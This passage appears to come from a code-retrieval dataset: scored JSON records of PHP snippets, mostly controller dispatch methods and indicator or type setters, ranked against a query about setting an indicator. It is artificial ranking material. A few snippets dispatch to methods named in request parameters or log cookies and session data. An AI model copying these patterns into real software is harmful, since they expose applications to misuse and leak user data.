$reflect->invokeArgs($this, $args);\n\n\t\t$this->m_response->body($body, true);\n\n\t\t$this->after();\n\t\t\n\t\treturn $this->m_response;\n\t}", "title": "" }, { "docid": "cd667aed8eb065eded29c28e8ed86f74", "score": "0.6233157", "text": "public function doAction($action = '')\n {\n parent::doAction($action);\n\n return;\n }", "title": "" }, { "docid": "d95ad8fdede5b1e70ac46843e5e4af70", "score": "0.6231476", "text": "public function dispatch();", "title": "" }, { "docid": "5b3cf5500fbb52bc447ca328e9eca8ae", "score": "0.6225053", "text": "public function run()\n {\n $this->wrapper->executeAction();\n $this->wrapper->display();\n }", "title": "" }, { "docid": "ea1b9a5fd1ffe40a65c9380dccf479eb", "score": "0.62146604", "text": "abstract protected function getAction(): string;", "title": "" }, { "docid": "a94aa1cb839170fa794912d3c90aa820", "score": "0.62118715", "text": "public function dispatch() {\r\n\t\tlist( $module, $action ) = $this->request->parseDefaultUrl();\r\n\t\t\r\n\t\tif($_GET){\r\n\t\t\tLogger::getInstance()->debug_var( '$_GET', $_GET );\r\n\t\t}\r\n\t\tif($_POST){\r\n\t\t\tLogger::getInstance()->debug_var( '$_POST', $_POST );\r\n\t\t}\r\n\t\tif($_COOKIE){\r\n\t\t\tLogger::getInstance()->debug_var( '$_COOKIE', $_COOKIE );\r\n\t\t}\r\n\t\tif($_SESSION){\r\n\t\t\tLogger::getInstance()->debug_var( '$_SESSION', $_SESSION );\r\n\t\t}\r\n\t\tif($_FILES){\r\n\t\t\tLogger::getInstance()->debug_var( '$_FILES', $_FILES );\r\n\t\t}\r\n\t\t// [Authentification] check who is the current user\r\n\t\t// could lead to exit ? / redirect ? Not for the moment\r\n\t\t$this->user = $this->firewall->getAuthentificatedUser();\r\n\t\t$this->doAction( $module, $action );\r\n\t\texit();\r\n\t}", "title": "" }, { "docid": "169ea8c34466f9ddcafaa02d7ce591b4", "score": "0.6211441", "text": "public function run(){\n\t\t\t$method = (!empty($_REQUEST['rMethod']) ? $_REQUEST['rMethod'] : \"index\");\n /**\n *\tcheck the session to confirm user validation\n */\n\n if(!empty($_REQUEST['rController']) && $_REQUEST['rController'] != 'login'){\n session_start();\n if(!isset($_SESSION['user'])) {\n self::redirect('login/index');\n }\n }\n\n\t\t\t/**\n\t\t\t*\ttry to call init method, init can be a filter method to do some check before real execution\n\t\t\t*\tsub class should declare init method if it is needed\n\t\t\t*\n\t\t\t*/\n\t\t\tif(method_exists($this,\"init\")){\n\t\t\t\t$this->init();\n\t\t\t}\n\t\t\tif(method_exists($this,$method)){\n\t\t\t\t$this->$method();\n\t\t\t}else{\n\t\t\t\techo \"The reuqested method doesn't exist!\";\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "9b5e41e61fc2747048406229dfdd847e", "score": "0.62085456", "text": "protected function run()\n {\n $this->silentRunActionTrigger(Action::EVENT_START);\n try {\n $event = $this->action->execute($this->control, $this->context) ?: Action::EVENT_SUCCESS;\n $this->context->exitCode = 0;\n } catch (ErrorException $errorException) {\n $event = Action::EVENT_ERROR;\n $this->context->exception = $errorException;\n $this->context->exitCode = 2;\n } catch (Exception $exception) {\n $event = Action::EVENT_FAILURE;\n $this->context->exception = $exception;\n $this->context->exitCode = 1;\n }\n $this->context->finishTime = time();\n $this->silentRunActionTrigger($event);\n $this->silentRunActionTrigger(Action::EVENT_FINISH);\n }", "title": "" }, { "docid": "c56ef031fa3a82e67b980a612790e0c1", "score": "0.62061995", "text": "protected function doAction($action)\n {\n if (is_callable(array($this, $action.\"Action\")))\n {\n call_user_func(\n array($this, $action.\"Action\")\n );\n }\n }", "title": "" }, { "docid": "7a45652425cb22a6031596c7d143c84f", "score": "0.6205573", "text": "abstract public function defaultAction();", "title": "" }, { "docid": "bb97edfe73df5bf820679be5e234720b", "score": "0.62048393", "text": "static function execute($action)\n {\n\n $action = trim($action, '/');\n\n s::set('action', $action);\n\n if ($action == 'install') { // shortcut without invoking get_routes\n $routes = array('install' => ['function' => 'on_stitches_install', 'route' => 'install']);\n } else {\n $routes = s::get_routes();\n }\n\n $had_something_to_do = false;\n\n $catch_all_fn = null;\n if (isset($routes['*'])) {\n $catch_all_fn = $routes['*'];\n unset($routes['*']);\n }\n\n if (isset($routes[$action])) {\n // common case\n s::set('route', $routes[$action]['route']);\n s::set('executed-action', $routes[$action]['action']);\n s::call_array($routes[$action]['action'], array(null));\n $had_something_to_do = true;\n } else {\n // check regexps\n // don't really like the regexp business here, would prefer wildcards (%d, %s) in $routes\n foreach($routes as $k=>$func) { // search and verify for regexps\n if ($k and $k[0] == '^') {\n $regexp = $k;\n if (substr($regexp, -1) != '$') {\n $regexp .= '$';\n }\n if (preg_match(\"/$regexp/D\", $action, $matches)) {\n s::set('route', $func['route']);\n s::set('executed-action', $func['action']);\n array_shift($matches);\n s::call_array($func['action'], $matches);\n $had_something_to_do = true;\n break;\n }\n }\n }\n }\n if ( ! $had_something_to_do) {\n if ($catch_all_fn) {\n $had_something_to_do = s::call($catch_all_fn['action'], $action ? $action : '');\n }\n if ( ! $had_something_to_do) {\n Errors::page_not_found(hs(\"Action %s not found.\", $action));\n }\n }\n\n $c = ob_get_clean();\n\n Page::present($c); // wraps all to a nice html\n\n exit;\n }", "title": "" }, { "docid": "be5d5b596cc86cf0dcf5309b70440db3", "score": "0.6203609", "text": "public function run_controller() {\n\t\t// load:\n\t\tif (!$this->load_controller()) {\n\t\t\treturn response::http404(array('controller' => $this->controller_info));\n\t\t}\n\n\t\t// find appropriate action to call, based on request properties:\n\t\t$ci = $this->controller_info;\n\t\t$plist = array();\n\t\tif ($this->prop['ajax']) {\n\t\t\t$plist[] = \"$ci[action]_{$this->http_method}_ajax\";\n\t\t\t$plist[] = \"$ci[action]_ajax\";\n\t\t}\n\t\t$plist[] = \"$ci[action]_{$this->http_method}\";\n\t\t$plist[] = $ci['action'];\n\n\t\tforeach ($plist as $action) {\n\t\t\tif (method_exists($this->controller, \"action_$action\")) {\n\t\t\t\t$this->controller->action = $this->controller->view = $action;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\t// no action found:\n\t\tif (!$this->controller->action) {\n\t\t\treturn response::http404(array('action' => $this->controller_info));\n\t\t}\n\n\t\t// execute controller init logic:\n\t\t$this->controller->init();\n\n\t\t//\n\t\t// -- HOOK -- BEFORE RUN ACTION\n\t\t//\n\t\t//$this->frwk->plugin_run_callback(framework::$HOOK_BEFORE_RUN_ACTION, $this->controller);\n\n\t\t// execute action and return response:\n\t\treturn call_user_func_array(\n\t\t\tarray($this->controller, \"action_$action\"),\n\t\t\t$this->controller_info['args']\n\t\t);\n\t}", "title": "" }, { "docid": "efffdea74b71d8f8e46c3c51e6da45ca", "score": "0.6203592", "text": "private function setup_actions()\n {\n }", "title": "" }, { "docid": "efffdea74b71d8f8e46c3c51e6da45ca", "score": "0.6203592", "text": "private function setup_actions()\n {\n }", "title": "" }, { "docid": "efffdea74b71d8f8e46c3c51e6da45ca", "score": "0.6203592", "text": "private function setup_actions()\n {\n }", "title": "" }, { "docid": "efffdea74b71d8f8e46c3c51e6da45ca", "score": "0.6203592", "text": "private function setup_actions()\n {\n }", "title": "" }, { "docid": "efffdea74b71d8f8e46c3c51e6da45ca", "score": "0.6202821", "text": "private function setup_actions()\n {\n }", "title": "" }, { "docid": "81ce393ffdcdacd00447819908b0fe94", "score": "0.6201281", "text": "function actionHandler($var = \"action\"){\n\t\t$this->actionVar = $var;\n\t\t$action = util::getData($var);\n\t\t$method = \"action\".$action;\n\t\t$this->action = $action;\n\t\tif(method_exists($this,$method)) {\n\t\t\t$this->$method();\n\t\t}\n\t}", "title": "" } ]
f6085733ddb0a3dd53d150d51965abe5
Sets a new indicationIndicator BBIE Status. Indication_ Indicator. Indicator Specifies an indicator relevant to a specific status. 0..1 Status Indication Indicator Indicator Indicator. Type
[ { "docid": "27e1c938628c4449c29a2bc4743eb0e6", "score": "0.6664019", "text": "public function setIndicationIndicator($indicationIndicator)\n {\n $this->indicationIndicator = $indicationIndicator;\n return $this;\n }", "title": "" } ]
[ { "docid": "73f80f3b94153370f03e56463b4868dd", "score": "0.5865274", "text": "public function getIndicationIndicator()\n {\n return $this->indicationIndicator;\n }", "title": "" }, { "docid": "632215efecc3a65eaa593190851d50e7", "score": "0.57728124", "text": "public function setTransactionIndicator($transactionIndicator) {\n $this->transactionIndicator = $transactionIndicator;\n }", "title": "" }, { "docid": "c3d8bcb34b5b9729ad988976d579cf66", "score": "0.54557717", "text": "public function setIndication($indication) {\n $this->properties['indication'] = $indication;\n\n return $this;\n }", "title": "" }, { "docid": "7f2aad2938c10bc213b267020d5c4dab", "score": "0.5371021", "text": "public function addIndicator(IndicatorInterface $class)\n {\n $this->indicatorRegistry[$class->getId()] = $class;\n }", "title": "" }, { "docid": "a64dbea2ec4a9aced3e3e5cf9f56eb8e", "score": "0.5366065", "text": "public function setIndication(array $indication = [])\n {\n $this->indication = [];\n if ([] === $indication) {\n return $this;\n }\n foreach($indication as $v) {\n if ($v instanceof FHIRCodeableConcept) {\n $this->addIndication($v);\n } else {\n $this->addIndication(new FHIRCodeableConcept($v));\n }\n }\n return $this;\n }", "title": "" }, { "docid": "ad76187798b7f7f74f6e6a1842124c56", "score": "0.5336989", "text": "public function show(Indicator $indicator)\n {\n return new IndicatorResource($indicator);\n }", "title": "" }, { "docid": "f2aed43d8cf6659a98abcf1a0df25a3f", "score": "0.52266407", "text": "public function show(Indicator $indicator)\n {\n //\n }", "title": "" }, { "docid": "58449128b7a6b5f204ad3317c8a8645f", "score": "0.5128918", "text": "public function setInformType($inform_type)\n {\n $this->inform_type = $inform_type;\n\n return $this;\n }", "title": "" }, { "docid": "76d09781e8a8ae158e60ba7426c3df74", "score": "0.5091885", "text": "public function update(UpdateIndicatorRequest $request, Indicator $indicator)\n {\n $indicator->fill($request->all())->save();\n\n return new IndicatorResource($indicator);\n }", "title": "" }, { "docid": "673ac7812c436f05305908b05c35f9b0", "score": "0.5059553", "text": "public abstract function typeIndicator(): int;", "title": "" }, { "docid": "5081b6fdd3683258ffdc10c2dd7873de", "score": "0.4927069", "text": "function create_indicator(){\n // Por ahora se valida esto con el id del indicador\n\n switch($_GET['indicator_type']){\n\n case 21: participation_percent_by_sector('mayor', 'mujeres'); break;\n case 22: participation_percent_by_sector('menor', 'mujeres'); break;\n case 17: participation_percent_by_sector('mayor', 'migrantes'); break;\n case 18: participation_percent_by_sector('menor', 'migrantes'); break;\n case 1: indefinite_contracts(); break;\n case 9: indefinite_percent_variation('alza'); break;\n case 10: indefinite_percent_variation('baja'); break;\n case 3: occupied_variation('alza'); break;\n case 6: occupied_variation('baja'); break;\n \n }\n }", "title": "" }, { "docid": "1c4791a7a7a80a48be2d1eec978af2b0", "score": "0.48608515", "text": "public function addIndication(FHIRCodeableConcept $indication = null)\n {\n $this->indication[] = $indication;\n return $this;\n }", "title": "" }, { "docid": "251c51778a6023eee72c2b649836629e", "score": "0.48464704", "text": "public function update(Request $request, Indicator $indicator)\n {\n //\n }", "title": "" }, { "docid": "53f481820bb104425356b9361e1591f3", "score": "0.48140982", "text": "public function setUpdateIndicator($updateIndicator)\n {\n $this->updateIndicator = $updateIndicator;\n return $this;\n }", "title": "" }, { "docid": "ae57f233ba7ebf9806470ecd28440855", "score": "0.47768822", "text": "public function setAdditionalMonitoringIndicator(FHIRCodeableConcept $additionalMonitoringIndicator = null)\n {\n $this->additionalMonitoringIndicator = $additionalMonitoringIndicator;\n return $this;\n }", "title": "" }, { "docid": "1f2fb4b97e61b491e4b9d48aebf869cb", "score": "0.47419366", "text": "function addIndicator(&$ind, &$gID, &$cID) \n\t\t{\n\t\t\t//variables\n\t\t\t\t\t\n\t\t\t$addIndicatorOK = FALSE; //default value that only changes if it works\t\n\t\t\t$msg = \"\";\t\n\t\t\t\n\t\t\tif ($ind <> \"\" && $gID > 0 && $cID > 0) //simple validation for data entered\n\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\t//set the connection parameters for the database\n\t\t\t\t\t\n\t\t\t\t\tinclude(\"config-CRDB.php\"); //including config file for data connection\n\t\t\t\t\t\n\t\t\t\t\t//if the connexion does not work then through an error\n\t\t\t\t\t\n\t\t\t\t\tif(! $link )\n\t\t\t\t\t{\n\t\t \t\t\t\t$msg = die('Could not connect: ' . mysql_error());\n\t\t\t\t\t\techo \"<script>alert('$msg')</script>\";\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\telse \n\t\t\t\t\t{\t\n\t\t\t\t\t\t//set the sql command to enter data with the variables-parameters\n\t\t\t\t\t\t/*\n\t\t\t\t\t\t * rst!Indicator = ind\n\t \t\t\t\trst![Class Copesal_ID] = cID\n\t \t\t\t\trst!Goal_ID = gID\n\t\t\t\t\t\t */\n\t\t\t\t\t\t$sql = \t\"INSERT INTO Indicator \".\n\t\t \t\t\t\t\t\"(Indicator,`Class Copesal_ID`, Goal_ID) \".\n\t\t \t\t\t\t\t\"VALUES ('$ind', '$cID', '$gID');\";\n\t\t\t\t\t\t\n\t\t\t\t\t\t//proceed with the adding of the information and get confirmation into a variable\n\t\t\t\t\t\t\n\t\t\t\t\t\t$retval = mysql_query( $sql, $link ); // execute the query and save the recordset into a variable\n\t\t\t\t\t\t\n\t\t\t\t\t\t//if the confirmation is unsuccesful then display an error if all good display Great success\n\t\t\t\t\t\t\n\t\t\t\t\t\tif(! $retval )\n\t\t\t\t\t\t{\n\t\t \t\t\t\t\tdie('Could not enter indicator data: ' . mysql_error());\n\t\t\t\t\t\t\techo \"<script>alert('$msg')</script>\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse \n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$msg = \"Entered indicator data successfully\";\n\t\t\t\t\t\t\t//echo \"<script>alert('$msg')</script>\";\n\t\t\t\t\t\t\t$addIndicatorOK = TRUE;\t//only if the retrieval is true then the return value is True so it works.\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t// Close de conection\n\t\t\t\t\t\t\n\t\t\t\t\t\tmysql_close($link);\n\t\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t} \n\t\t\telse //if simple data validation failed then display that info needs to be checked.\n\t\t\t{\n\t\t\t\t$msg = \"Indicator Data Entered is not correct, Check Data and try again\";\n\t\t\t\techo \"<script>alert('$msg')</script>\";\n\t\t\t}\n\t\t\t\n\t\t\t//variables to be returned\n\t\t\t\n\t\t\treturn $addIndicatorOK;\n\t\t\t\n\t\t\t\n\t\t}", "title": "" }, { "docid": "579241f76264e0356d2b3d36e94638e4", "score": "0.4737835", "text": "public function setImportControlIndicator($importControlIndicator)\n {\n $this->importControlIndicator = $importControlIndicator;\n return $this;\n }", "title": "" }, { "docid": "102a98706e507eb9194ffd18f15b9b54", "score": "0.4698526", "text": "public function getIndication()\n {\n return $this->indication;\n }", "title": "" }, { "docid": "dba443834920be4b4c8ab1a052d74f94", "score": "0.4615916", "text": "public function store(StoreIndicatorRequest $request)\n {\n $indicator = Indicator::create($request->all());\n\n return new IndicatorResource($indicator);\n }", "title": "" }, { "docid": "cc997693507fe144e2c653e907ab90ed", "score": "0.4593863", "text": "public function setAuthenticationIndicator($authenticationIndicator) \n\t{\n\t $this->authenticationIndicator = $authenticationIndicator;\n\t\n\t return $this;\n\t}", "title": "" }, { "docid": "3dc56fe145feaeeb68a59707dc8e323d", "score": "0.4578183", "text": "public function setIconType(?TimeOffReasonIconType $value): void {\n $this->getBackingStore()->set('iconType', $value);\n }", "title": "" }, { "docid": "e86297ceba648f19dded78d18949883c", "score": "0.45697692", "text": "public function setType( $type ) {\n\t\tif ( !array_key_exists( $type, $this->iconMap ) ) {\n\t\t\t$type = $this->defaultType;\n\t\t}\n\n\t\t// Set flag\n\t\t$this->clearFlags();\n\t\t$this->setFlags( [ $type ] );\n\n\t\t// Set icon\n\t\t$this->setIcon( $this->iconMap[ $type ] );\n\t\t$this->icon->removeClasses( [ 'oo-ui-image-' . $this->type ] );\n\t\t$this->icon->addClasses( [ 'oo-ui-image-' . $type ] );\n\n\t\t// Initialization\n\t\tif ( $type === 'error' ) {\n\t\t\t$this->setAttributes( [ 'role' => 'alert' ] );\n\t\t\t$this->removeAttributes( [ 'aria-live' ] );\n\t\t} else {\n\t\t\t$this->setAttributes( [ 'aria-live' => 'polite' ] );\n\t\t\t$this->removeAttributes( [ 'role' ] );\n\t\t}\n\n\t\t$this->type = $type;\n\t}", "title": "" }, { "docid": "86467cdf27a00214cfa640dac367ba2c", "score": "0.45244536", "text": "public function setStatusTypeAttribute($string)\n {\n $this->attributes[ status_type() ] = toUpper( $string );\n }", "title": "" }, { "docid": "d2bbc70e84fdba171e4edb7a4d3c51fd", "score": "0.44386834", "text": "public function getIndicatorById($id): IndicatorInterface\n {\n return $this->indicatorRegistry[$id];\n }", "title": "" }, { "docid": "6b7efcc8a486e2e8570d2cab806a0091", "score": "0.4356783", "text": "public function setInteractivityType($interactivityType);", "title": "" }, { "docid": "3c82ea081277c84aca84bbe23d980bd5", "score": "0.43371361", "text": "public function getTransactionIndicator() {\n return $this->transactionIndicator;\n }", "title": "" }, { "docid": "7acdc3614ded2fc2fe55a7b22eebf7e5", "score": "0.43360412", "text": "public function setCommitmentTypeIndication(array $commitmentTypeIndication)\n {\n $this->commitmentTypeIndication = $commitmentTypeIndication;\n return $this;\n }", "title": "" }, { "docid": "27e943767590ceacb2b483880f34250b", "score": "0.43296376", "text": "protected function setStatus($status)\n {\n $availableStatus = array(self::NAGIOS_CRITICAL, self::NAGIOS_OK, self::NAGIOS_UNKNOWN, self::NAGIOS_WARNING);\n if (! in_array($status, $availableStatus)) $this->status = self::NAGIOS_UNKNOWN;\n else $this->status = $status;\n }", "title": "" }, { "docid": "358bd8432634a45aa75cea033a4dbc4c", "score": "0.42947522", "text": "protected function calculateIndicator($value, $baseValue, $indicator)\n {\n if ($indicator == \"percent\") {\n if ($baseValue !== null && $baseValue !== 0) {\n return ($value - $baseValue) * 100 / $baseValue;\n }\n } else if ($indicator==\"different\") {\n return $value - $baseValue;\n } else if (is_callable($indicator)) {\n return $indicator($value, $baseValue);\n }\n return false;\n }", "title": "" }, { "docid": "c6b686ab0a9daa763a6d3808e607e8b5", "score": "0.42829728", "text": "public function setBackhaulIndicator($backhaulIndicator)\n {\n $this->backhaulIndicator = $backhaulIndicator;\n return $this;\n }", "title": "" }, { "docid": "b4590bd3d7a2fa60636039ca1bf8d923", "score": "0.42800283", "text": "public function type($type){\n if ($this->locked) {\n throw new ClipLibraryException(\"After the progress is updated, the settings can't be changed.\");\n }\n \n if (!in_array($type, array(Progress::BAR, Progress::PERCENT, Progress::BAR_RATE_ITEMS, Progress::BAR_RATE_SECONDS))) {\n throw new ClipLibraryException(\"Invalid Progress type.\");\n }\n \n $this->type = $type;\n return $this;\n }", "title": "" }, { "docid": "d4f5f144b934de5b883ea706d0613149", "score": "0.424983", "text": "protected function setType($type)\n {\n $this->data['transaction']['type'] = $type;\n }", "title": "" }, { "docid": "8e38c50955145d26fd7f61abdc529fc6", "score": "0.42490244", "text": "public function setStatus($value) {\n $allowed = ['1', '2'];\n if (!in_array($value, $allowed))\n throw new Exception('Must be a value from 1 to 2');\n $this->status = $value;\n }", "title": "" }, { "docid": "4a2b8edbb21fcb7b0f72fb48f6c4c959", "score": "0.42408004", "text": "public function destroy(Indicator $indicator)\n {\n return new Response($indicator->delete());\n }", "title": "" }, { "docid": "f59f4077eb4f3787ec56e671c326c643", "score": "0.42368928", "text": "protected function setAidType()\n {\n if (array_key_exists('finance_type', $this->data['transaction'])) {\n $this->data['transaction']['aid_type'][0] = ['aid_type' => ''];\n }\n }", "title": "" }, { "docid": "38e6b9baf35287b8cc6b15eb84d75d5b", "score": "0.42341357", "text": "public function destroy(Indicator $indicator)\n {\n //\n }", "title": "" }, { "docid": "1eaa0b9b84ef41b9a5a7d1745a706627", "score": "0.41977537", "text": "public function bank(string $type, $value): void\n\t{\n\t\t$id = $this->identify($type, $value);\n\t\tif ($id === null)\n\t\t{\n\t\t\tthrow new LogicException('Banked value does not have identifier');\n\t\t}\n\t\t$this->values[$type][$id] = $value;\n\t\tunset($this->unknowns[$type][$id]);\n\t\tunset($this->wishes[$type][$id]);\n\t}", "title": "" }, { "docid": "21960144fe1561b82b5a0edeb408d0f2", "score": "0.41867152", "text": "public function setBankId($value, $key, $type) {\r\n\t\tif ($type == 'single') {\r\n\t\t\t$this->bankId = $value;\r\n\t\t} else if ($type == 'array') {\r\n\t\t\t$this->bankId [$key] = $value;\r\n\t\t} else {\r\n\t\t\techo json_encode(array(\"success\" => false, \"message\" => \"Cannot Identifiy Type String Or Array:setBankId ?\"));\r\n\t\t\texit();\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "9aa39128625ed0a1e7f5f1f656ce4629", "score": "0.41779926", "text": "public function setStatusIcon(bool $status) {\n if($status) {\n $this->statusIcon = \"<i class='far fa-check-circle' style='color:green'></i>\";\n }\n else {\n $this->statusIcon = \"<i class='far fa-times-circle' style='color:red'></i>\";\n }\n }", "title": "" }, { "docid": "5f7f82e672d83da6ae246f713feb139c", "score": "0.41747767", "text": "public function set_Status($status_in)\n {\n $this->status = $status_in;\n }", "title": "" }, { "docid": "44fd194eef1d5403e1ceff7d869e5db7", "score": "0.41622153", "text": "public function calculateIndicator(){\n //of migrants in population of the region\n foreach ($this->years as $year) {\n $this->values[$year] = ($this->intraregionalMigrants[$year] /\n $this->regionalPopulation[$year]) * 100;\n }\n }", "title": "" }, { "docid": "a2d43501dc9464f8e893c9bb1481365b", "score": "0.41130957", "text": "public function update(Requests\\IndicatorRequest $request, $id)\n {\n\n $indicator = Indicator::findOrfail($id);\n $indicator->update($request->only('name'));\n return redirect()->back()->with('success', 'Mise à jour de l\\'indicateur réussie');\n }", "title": "" }, { "docid": "da509bce3c63e6998e10ef57eef395d1", "score": "0.4104087", "text": "public function setType($type)\n {\n $this->client->setType($type);\n }", "title": "" }, { "docid": "9fc8b6fdcac2c63fb4ae511c19006f36", "score": "0.40841323", "text": "public function setItemUpdateRequestIndicator($itemUpdateRequestIndicator)\n {\n $this->itemUpdateRequestIndicator = $itemUpdateRequestIndicator;\n return $this;\n }", "title": "" }, { "docid": "75b96803a0a96f142cd0ca9807ee4a73", "score": "0.40717417", "text": "public function set_Type($type_in)\n {\n $this->type = $type_in;\n }", "title": "" }, { "docid": "ced441b03d05153d1e8f519f94f1314b", "score": "0.40664327", "text": "public function setType($type) {\r\n \t$this->type = $type;\r\n }", "title": "" }, { "docid": "6e0266a777e446160070ab3eb6379844", "score": "0.4058756", "text": "function aimType($x)\n {\n switch ($x) {\n case 'AUTH_CAPTURE': // Default\n case 'AUTH_ONLY':\n case 'CAPTURE_ONLY':\n case 'CREDIT':\n case 'PRIOR_AUTH_CAPTURE':\n case 'VOID':\n $this->_x_type = $x;\n break;\n default:\n throw new Exception(\"Unknown Transaction Type: $x\",__LINE__);\n }\n }", "title": "" }, { "docid": "0a2a0b5964a7b93912d765f5560b7bc3", "score": "0.40585506", "text": "public function getInformType()\n {\n return $this->inform_type;\n }", "title": "" }, { "docid": "7218ee34d99e9793687a6018340facea", "score": "0.40549728", "text": "public function setType($type) {\n $this->type = $type;\n }", "title": "" }, { "docid": "20970e16d61be4748030e61d8c9f123e", "score": "0.40446252", "text": "public function setType($type) {\r\n\t$this->type = $type;\r\n }", "title": "" }, { "docid": "4f82a78617c7c9b5acb7408c1c66297f", "score": "0.403837", "text": "public function store(Requests\\IndicatorRequest $request)\n {\n\n if (is_array($request->name)) {\n foreach ($request->name as $indicator_id => $indicateur_valeur) {\n if ($indicator_id > 0){\n $indicator = Indicator::findOrFail($indicator_id);\n $indicator->update(array('name'=>$indicateur_valeur));\n }\n else {\n if (trim($indicateur_valeur) != '') {\n $indicator = Indicator::create(array('name' => $indicateur_valeur, 'channel_id' => $request->channel_id));\n }\n }\n }\n }\n // $indicator = Indicator::create($request->all());\n return redirect()->back()->with('success',\"Les indicateurs ont été mis à jour.\");\n\n }", "title": "" }, { "docid": "f943b7d016ddea4071eeebbf151dfd13", "score": "0.4037724", "text": "protected function setType($type) {\n $this->type = $type;\n }", "title": "" }, { "docid": "6afa098909525a9737e25acb61ea64f6", "score": "0.4036539", "text": "public function getAdditionalMonitoringIndicator()\n {\n return $this->additionalMonitoringIndicator;\n }", "title": "" }, { "docid": "aa92e708145f9729c05e4b8b66e43159", "score": "0.40245688", "text": "public function setAccountType(?string $accountType): void\n {\n $this->accountType['value'] = $accountType;\n }", "title": "" }, { "docid": "87832038360bc947bf462a575fb0ccb9", "score": "0.4024076", "text": "public function setUPScarbonneutralIndicator($uPScarbonneutralIndicator)\n {\n $this->uPScarbonneutralIndicator = $uPScarbonneutralIndicator;\n return $this;\n }", "title": "" }, { "docid": "5881b4dede502d3a25b9efa0398b3c3d", "score": "0.40218616", "text": "public function setInsurance(\\TNTExpressConnect\\Price\\XSD\\InsuranceType $insurance)\n {\n $this->insurance = $insurance;\n return $this;\n }", "title": "" }, { "docid": "e93a1d218cc5c554afa1de34f5e44366", "score": "0.40171313", "text": "public function setType($type){\n $this->type = $type;\n }", "title": "" }, { "docid": "8f835c366d718c56feb76d6c82942bfa", "score": "0.40100628", "text": "public function setInteractivityType($interactivityType)\n {\n $this->_interactivityType = $interactivityType;\n return $this;\n }", "title": "" }, { "docid": "6c9aec8761eeb0ec211c343f691a0987", "score": "0.40069145", "text": "function setIndice($otro_indice){\r\n $this->indice = $otro_indice;\r\n }", "title": "" }, { "docid": "53855ee22c2a918c0e1a6bec7e0e41fa", "score": "0.40059805", "text": "private function setType($type)\n\t{\n\t\tif (!is_object($this->chart)){\n\t\t\tthrow new Exception(\"Chart drawing object engine not created.\");\n\t\t}\n\t\t$type = strtolower($type);\n\t\tswitch($type){\n\t\t\tcase 'line':{\n\t\t\t\t$this->setLine();\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tcase 'bar':{\n\t\t\t\t$this->setBar();\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tcase 'pie':{\n\t\t\t\t$this->setPie();\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t}", "title": "" }, { "docid": "977ae8c989432a4459f9094856d43bda", "score": "0.40057868", "text": "public function setType($type)\n {\n $this->type = $type;\n $this->setAttributes(\"Type\");\n }", "title": "" }, { "docid": "a2bf77abd0c9cc1a980b61c916d029b9", "score": "0.39973998", "text": "public function setCustomsImportClassifiedIndicator($customsImportClassifiedIndicator)\n {\n $this->customsImportClassifiedIndicator = $customsImportClassifiedIndicator;\n return $this;\n }", "title": "" }, { "docid": "1b230d034bf852c9bd403e369f017a8a", "score": "0.39921036", "text": "public static function setStatus($int){\n\t\t\tself::$status = $int;\n\t\t}", "title": "" }, { "docid": "d905c2b845b414d24db7b9522317a039", "score": "0.39827988", "text": "protected function _setType ( $type ) {}", "title": "" }, { "docid": "13010a5e7b7ad51b7d5698593edf9d14", "score": "0.39776042", "text": "public function setStatus(?ThreatAssessmentStatus $value): void {\n $this->getBackingStore()->set('status', $value);\n }", "title": "" }, { "docid": "94e5f123a94f005f9a1edd658befaf7b", "score": "0.39732024", "text": "public function setChartOfAccountSegmentId($value, $key, $type) {\n if ($type == 'single') {\n $this->chartOfAccountSegmentId = $value;\n return $this;\n } else {\n if ($type == 'array') {\n $this->chartOfAccountSegmentId[$key] = $value;\n return $this;\n } else {\n echo json_encode(\n array(\n \"success\" => false,\n \"message\" => \"Cannot Identify Type String Or Array:setChartOfAccountSegmentId?\"\n )\n );\n exit();\n }\n }\n }", "title": "" }, { "docid": "fb4e0c1d72e99cb321a78a6ab95478b9", "score": "0.39510477", "text": "public function setType($type) {\n $this->type = $type;\n }", "title": "" }, { "docid": "e96f101f47304f82f6d24cb7238a5f81", "score": "0.39500496", "text": "public function setStatusString(string $value) {\n $this->statusString = $value;\n }", "title": "" }, { "docid": "0709a3e87995a169a00105a2188d0ba3", "score": "0.39485824", "text": "public function setLoanType(string $type): void\n {\n $type = trim($type);\n if ($type === null || $type === '') {\n $this->loan_type = '';\n } else {\n $this->loan_type = $type;\n }\n }", "title": "" }, { "docid": "aab926e48103117b088bfca72f4105b5", "score": "0.39441258", "text": "public function setType($type) {\n\t\t$this -> qr_code_type = $type;\n\t}", "title": "" }, { "docid": "c77920bdc484e6de464c4e7dbe4d9718", "score": "0.39387435", "text": "public function __construct(string $type = 'status', string $text = '')\n {\n $this->type = $type;\n $this->text = $text;\n }", "title": "" }, { "docid": "a724294e36701c462bb72fcf013cbc8c", "score": "0.3935544", "text": "public function setTypeInstalation( $newTypeInstalation ){\n\t\tswitch( $newTypeInstalation ){\n\t\t\tcase self::TYPICAL:\n\t\t\tcase self::MEDIUM:\n\t\t\tcase self::CUSTOM:\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tthrow new InvalidArgumentException('YOu chosen wrong opction', $newTypeInstalation);\n\t\t\t\tbreak;\n\t\t}\n\t\t$this->Type = $newTypeInstalation;\n\t}", "title": "" }, { "docid": "158a0e2093466097204e8f2cca23d43b", "score": "0.39310023", "text": "public function settype($type) {\n $this->type = $type;\n }", "title": "" }, { "docid": "7b320ff2fa621716083e33448588751f", "score": "0.3926097", "text": "public function setStatus(?SignInStatus $value): void {\n $this->getBackingStore()->set('status', $value);\n }", "title": "" }, { "docid": "f41fcbe033f13ace23d0b6681da472ab", "score": "0.3924905", "text": "public function setType($type);", "title": "" }, { "docid": "f41fcbe033f13ace23d0b6681da472ab", "score": "0.3924905", "text": "public function setType($type);", "title": "" }, { "docid": "f41fcbe033f13ace23d0b6681da472ab", "score": "0.3924905", "text": "public function setType($type);", "title": 